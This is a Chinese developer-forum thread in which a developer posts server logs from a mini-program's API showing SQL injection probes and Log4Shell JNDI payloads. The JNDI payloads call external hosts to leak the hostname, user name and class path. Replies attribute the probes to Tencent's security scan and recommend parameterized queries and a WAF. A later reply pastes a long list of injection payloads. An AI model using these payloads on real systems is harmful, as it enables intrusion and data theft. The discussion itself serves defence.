遇到黑客攻击了怎么办

2024-03-17 17:34:58 +08:00
 shinyzhu

我在做的是一个小程序,有后台的 API 服务。

上周五突然发现有很多 SQL 注入和远程代码执行的调用。

Mar 15 16:48:15 lightsh ibkapi[1420640]: GET /products?q=%27%20union%20select%201--%20&count=30&cat=21&p=1 500 2.012 ms - 60
Mar 15 16:48:16 lightsh ibkapi[1420640]: GET /products?q=%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23&count=30&cat=21&p=1 500 4.498 ms - 60
Mar 15 16:48:16 lightsh ibkapi[1420640]: GET /products?q=%bf%27%bf'%27%22'"\\%5C%0d%0a%23%23&count=30&cat=21&p=1 500 16.973 ms - 60
Mar 15 16:49:27 lightsh ibkapi[1420640]: GET /products?q=&count=30&cat=21&p=%20OR%20%28SELECT%2AFROM%28SELECT%28SLEEP%284%29%29%29iiet%29%20limit%201%23 400 0.847 ms - 163

和这样:

Mar 15 17:31:35 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:rmi://183.47.120.213:1099/bypass4ab2c832c1448624ddd652713f2b4b1b-/-${hostName}} 400 1.655 ms - 201
Mar 15 17:31:35 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.f4a52b7ecb98e763293fb54f33f9bec8.4j2.mauu.mauu.me/} 400 1.722 ms - 258
Mar 15 17:31:36 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:ldap://183.47.120.213:1389/jdk185bf1616da873b6fb2299bbc60897c1c1-/-${hostName}} 400 1.749 ms - 201
Mar 15 17:31:36 lightsh ibkapi[1457656]: GET /orders/?status=${jndi:ldap://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.05d82899be802b7b14abf20f5a33c934.4j2.mauu.mauu.me/}&count=10&p=1 400 2.063 ms - 257

还有今天发现在请求 /.env

技术战是 NodeJS+MySQL ,看起来这些攻击没有得逞,我也在发现的第一时间停掉服务规避了。

然后修改了系统里校验参数和 SQL 语句的用法。

目前有 2 个问题:

  1. 这个站点我并没有公开发布过,黑客是怎么知道地址的呢?拿手机抓包获取 API 地址?
  2. 大家有什么办法避免这样的攻击?
3215 次点击
所在节点    信息安全
17 条回复
lonelykid
2024-03-17 17:50:38 +08:00
全网扫描 IP 和端口,还有你贴的日志把你服务器 IP 都泄露了。
Hopetree
2024-03-17 18:07:11 +08:00
我发现只要是公开的网站都有很多类似的请求。

借贴说一下关于这种暴力请求的问题,是不是可以设置网络炸弹(就是给一些不存在的请求返回一个压缩文件,文件被解压的时候会非常大)来恶心一下这种请求?前几天看到网络炸弹这个还没试过,不知道对于这种暴力请求有效没?
shinyzhu
2024-03-17 18:08:26 +08:00
@lonelykid 嗯嗯。谢谢提醒。

我看了日志的,那个不是我的 IP ,还有域名 mauu.me 也不是我的。我怀疑是黑客控制的,所以没有删掉。黑客想通过那个接口的参数传远程下载进去。但我服务器上没有 Java 。

不知道理解对不对。有没有白帽帮忙看看。
shinyzhu
2024-03-17 18:10:26 +08:00
@Hopetree 感觉是个“蜜罐”类方案,可以研究下。但直接返回大文件的话,我的小服务器流量也受不了。
Puteulanus
2024-03-17 18:10:59 +08:00
如果请求参数跟你的服务八竿子打不着,那估计就是扫描的了,可能会把常见的漏洞利用都给你试一遍
winterpotato
2024-03-17 19:41:13 +08:00
用 gzip bumb 确实很坏,我做过一段时间,发现自己发出去的流量挺多的也不知道对面爆炸了没。

大概率是全网扫的,从自己的代码角度来看,查询语句要用 prepared statement ( Parameterized queries )这种避免被注入。
yumusb
2024-03-17 20:24:24 +08:00
mauu.me 是腾讯安全检测的,你是不是最近上线了什么小程序一类的,触发了腾讯的安全扫描。
shinyzhu
2024-03-17 20:35:06 +08:00
@yumusb 是的呢。就是小程序刚发布了个新版本,就收到这些扫描了。我发现 IP 还真是广州的。
kimitaer
2024-03-17 23:42:18 +08:00
应该是 tx 的安全检测, 之前我司也是发现了一批可疑请求, 检查了下 ua 可以看到是来自 tx 的检测
NGGTI
2024-03-18 09:54:26 +08:00
一个是在做 SQL 注入攻击 sleep(4) 响应 0.847 ms 没成功。一个在做 log4 攻击,没用 java 就算了。
retanoj
2024-03-18 10:18:09 +08:00
攻击不代表攻击成功。
“我也在发现的第一时间停掉服务规避了”,如果真对扫描类请求都这么敏感,那建议前面套一层 WAF
shinyzhu
2024-03-18 11:16:36 +08:00
@retanoj 其实我很慌,我不少 SQL 是拼字符串的,想着后面有空了重构。这一下直接让我在半夜改完了。
retanoj
2024-03-18 11:28:40 +08:00
@shinyzhu #12
你看,以攻促防这效果不就体现出来了嘛 ;)
impdx
2024-03-19 14:36:35 +08:00
sql 拼接,开发不注意安全规范很容易 sql 注入。先规范自己的开发。之后考虑上个雷池 waf ,可以避免一些扫描器
AJ1if4
2024-04-09 22:30:13 +08:00
散了吧,这个是小程序发布审核触发的腾讯安全审查。

{"code":"' union select 1--"}
{"code":"' union select 1,2--"}
{"code":"' union select 1,2,3--"}
{"code":"' union select md5(3141592657),2,3--"}
{"code":"' union select 1,md5(3141592657),3--"}
{"code":"' union select 1,2,md5(3141592657)--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g' AND (SELECT*FROM(SELECT(SLEEP(3)))qtuo) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\") OR (SELECT*FROM(SELECT(SLEEP(4)))cnpj) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\")) AND (SELECT*FROM(SELECT(SLEEP(3)))pxzq) limit 1#"}
{"code":"\")) OR (SELECT*FROM(SELECT(SLEEP(3)))puht) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\") AND (SELECT*FROM(SELECT(SLEEP(2)))cfva) limit 1#"}
{"code":"' OR (SELECT*FROM(SELECT(SLEEP(3)))mnud) limit 1#"}
{"code":"\" AND (SELECT*FROM(SELECT(SLEEP(3)))ondm) limit 1#"}
{"code":"%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g%bf%27%bf'%27%22'\"\\\\%5C%0d%0a%23#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"')) OR (SELECT*FROM(SELECT(SLEEP(2)))nawx) limit 1#"}
{"code":"')) OR (SELECT*FROM(SELECT(SLEEP(3)))rywe) limit 1#"}
{"code":"\" union select 1--"}
{"code":"\" union select 1,2--"}
{"code":"\" union select md5(3141592657),2--"}
{"code":"\" union select 1,md5(3141592657)--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2,3--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select md5(3141592657),2,3--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,md5(3141592657),3--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2,md5(3141592657)--"}
{"code":"%bf%27%bf'%27%22'\"\\\\%5C%0d%0a%23#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') OR (SELECT*FROM(SELECT(SLEEP(4)))biaw) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') OR (SELECT*FROM(SELECT(SLEEP(3)))mjpe) limit 1#"}
{"code":"${jndi:rmi:\/\/183.47.120.213:1099\/bypassea22776815cddd786d4619bd5fa16902-\/-${hostName}}"}
{"code":"\") OR (SELECT*FROM(SELECT(SLEEP(4)))qgzf) limit 1#"}
{"code":"') OR (SELECT*FROM(SELECT(SLEEP(3)))kuav) limit 1#"}

{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"\" OR (SELECT*FROM(SELECT(SLEEP(3)))cexg) limit 1#"}
{"code":"\" OR (SELECT*FROM(SELECT(SLEEP(4)))fzmo) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" OR (SELECT*FROM(SELECT(SLEEP(3)))jyyi) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" OR (SELECT*FROM(SELECT(SLEEP(4)))bvvz) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}

{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g AND (SELECT*FROM(SELECT(SLEEP(4)))fnfj) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g AND (SELECT*FROM(SELECT(SLEEP(3)))wdcf) limit 1#"}
{"code":"${jndi:rmi:\/\/hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.32a822
.mauu.me\/}"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" AND (SELECT*FROM(SELECT(SLEEP(2)))lozr) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" AND (SELECT*FROM(SELECT(SLEEP(3)))hged) limit 1#"}
{"code":"\")) AND (SELECT*FROM(SELECT(SLEEP(3)))ievk) limit 1#"}
{"code":"\")) AND (SELECT*FROM(SELECT(SLEEP(4)))tpvq) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') AND (SELECT*FROM(SELECT(SLEEP(3)))hkzh) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') AND (SELECT*FROM(SELECT(SLEEP(2)))gisu) limit 1#"}
{"code":"') AND (SELECT*FROM(SELECT(SLEEP(3)))kaes) limit 1#"}
{"code":"') AND (SELECT*FROM(SELECT(SLEEP(4)))xbou) limit 1#"}
{"code":"' AND (SELECT*FROM(SELECT(SLEEP(4)))dfwz) limit 1#"}
{"code":"' AND (SELECT*FROM(SELECT(SLEEP(3)))yfcg) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"\") AND (SELECT*FROM(SELECT(SLEEP(4)))rsqh) limit 1#"}
shinyzhu
2024-04-10 10:54:39 +08:00
@AJ1if4 哈哈。你这个日志怎么来的?用的啥数据库?
AJ1if4
2024-05-11 22:34:37 +08:00
@shinyzhu 服务器上的,pg

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://yangjunhui.monster/t/1024484

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX